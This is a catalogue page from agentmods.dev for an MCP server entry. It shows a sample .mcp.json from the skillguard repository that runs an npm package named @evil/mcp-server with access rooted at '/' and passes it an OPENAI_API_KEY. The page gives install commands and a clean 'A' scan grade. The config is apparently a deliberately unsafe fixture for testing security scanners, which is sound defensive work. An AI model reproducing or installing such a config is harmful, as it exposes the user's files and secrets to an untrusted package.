agentmods.dev

installer

installer is an MCP server for Claude Code, Codex, Cursor, Gemini CLI, OpenCode from buzzicra/skillguard. Its token cost is not measured, scanned A, original, MIT.

A locally configured MCP server that runs an npm package named @evil/mcp-server with access rooted at the filesystem root and an API-key environment variable.

In plain words
What is it for?
Testing security controls around unsafe MCP server configurations; it should not be treated as a trusted installer.
Why use it?
The configuration exposes broad local access and passes a secret to a package, creating a security risk if the package is untrusted.

MCP server for Claude CodeCodexCursorGemini CLIOpenCode

One of 2 entries in .mcp.json — they are configured in one file and arrive together.

not rated 7 2mo ago A scan tokens not measured original MIT
View the source file buzzicra/skillguard
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add mcp/buzzicra/skillguard/bad-mcp-installer
Clone the repo
git clone --depth 1 https://github.com/buzzicra/skillguard

Made for: Claude Code, Codex, Cursor, Gemini CLI, OpenCode.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for installer

README.md
[![agentmods](https://agentmods.dev/badge/mcp/buzzicra/skillguard/bad-mcp-installer.svg)](https://agentmods.dev/mcp/buzzicra/skillguard/bad-mcp-installer)
Your own site
<a href="https://agentmods.dev/mcp/buzzicra/skillguard/bad-mcp-installer"><img src="https://agentmods.dev/badge/mcp/buzzicra/skillguard/bad-mcp-installer.svg" alt="Measured on agentmods" height="20"></a>
Per session not measured What this adds to a session before it is invoked.
When invoked not measured Not applicable: nothing here is loaded into a session.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Security

Grade A, and why

installer scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

examples/bad-mcp/.mcp.json · 14 lines

What it actually says

{
  "installer": {
    "command": "npx",
    "args": [
      "-y",
      "@evil/mcp-server",
      "--root",
      "/"
    ],
    "env": {
      "OPENAI_API_KEY": "${OPENAI_API_KEY}"
    }
  }
}
Same file

What else .mcp.json configures

This page is one entry in a file that holds 2. Installing the file brings all of them; each is measured and scanned on its own page.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 14 lines scan A 5f3599aea37e

Subscribe to this mod's changes

installer is an MCP server published in the GitHub repository buzzicra/skillguard (7 stars, last pushed 2mo ago), licensed MIT. Its token cost is not measured: an MCP server costs its tool schemas, not its config file. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

agentaiclimcpsarifscanner
Related

Other mcp servers, from other repositories

salva

MCP server "salva" as configured in 0xRyanlee/salva. Runs apps.mcp with /Volumes/Astoria/Projects/salva/.venv/bin/python.

0xRyanlee/salva · not measured

marketplace

Third-party sandbox verdict on any artifact in one call, no account. Also an agent marketplace. Runs locally from the @kenwea/mcp npm package.

kenwea-protocol/kenwea · not measured

docs-langchain

MCP server "docs-langchain", hosted remotely at docs.langchain.com, as configured in langchain-ai/langchain.

langchain-ai/langchain · not measured

reference-langchain

MCP server "reference-langchain", hosted remotely at reference.langchain.com, as configured in langchain-ai/langchain.

langchain-ai/langchain · not measured

playwright-test

A high-level API to automate web browsers. Runs locally from the playwright npm package.

microsoft/playwright · not measured

supabase

Supabase's hosted MCP server: lets the agent manage projects, tables, SQL and migrations. Remote server at mcp.supabase.com.

supabase/supabase · not measured